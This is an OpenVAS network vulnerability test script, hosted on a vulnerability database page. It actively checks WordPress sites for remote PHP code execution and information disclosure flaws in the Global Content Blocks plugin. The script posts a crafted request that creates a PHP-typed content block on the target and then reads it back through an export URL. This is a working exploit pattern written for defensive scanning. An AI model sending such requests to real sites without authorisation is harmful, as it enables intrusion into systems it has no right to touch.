WordPress Global Content Blocks <= 1.5.1 Multiple Vulnerabilities - Active Check
🗓️ 13 Jul 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType
openvas🔗 plugins.openvas.org👁 8 Views
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:wordpress:wordpress";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103516");
script_version("2025-04-24T05:40:00+0000");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2025-04-24 05:40:00 +0000 (Thu, 24 Apr 2025)");
script_tag(name:"creation_date", value:"2012-07-13 11:23:37 +0200 (Fri, 13 Jul 2012)");
script_name("WordPress Global Content Blocks <= 1.5.1 Multiple Vulnerabilities - Active Check");
# nb: Code below is posting/adding comment to the affected pages so only run it if safe_checks
# are disabled.
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("gb_wordpress_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("wordpress/http/detected");
script_xref(name:"URL", value:"https://web.archive.org/web/20210123211833/http://www.securityfocus.com/bid/54413");
script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/49854");
script_tag(name:"summary", value:"The WordPress Global Content Blocks plugin is prone to multiple
security vulnerabilities, including a remote PHP code execution vulnerability and multiple
information disclosure vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the
responses.");
script_tag(name:"impact", value:"Successful exploits of these issues may allow remote attackers to
execute arbitrary malicious PHP code in the context of the application or obtain potentially
sensitive information.");
script_tag(name:"affected", value:"WordPress Global Content Blocks plugin version 1.5.1 is known
to be vulnerable. Other versions may also be affected.");
script_tag(name:"solution", value:"Updates are available. Please see the references for
details.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
url = dir + "/wp-content/plugins/global-content-blocks/resources/tinymce/gcb_ajax_add.php";
useragent = http_get_user_agent();
# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name(port:port);
vtstrings = get_vt_strings();
check = vtstrings["lowercase"] + "_test";
ex = 'name=' + check + '&content=' + check + '&description=vt_test&type=php';
len = strlen(ex);
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length:", len, "\r\n",
"\r\n",
ex);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(check >!< result && "php.png" >!< result)
exit(0);
id = eregmatch(pattern:'"id":([0-9]+)',string:result);
if(isnull(id[1]))
exit(0);
url = dir + "/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=" + id[1];
if(http_vuln_check(port:port, url:url, pattern:"b3BlbnZhc190ZXN0")) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Apr 2025 00:00Current
7.8High risk
Vulners AI Score7.8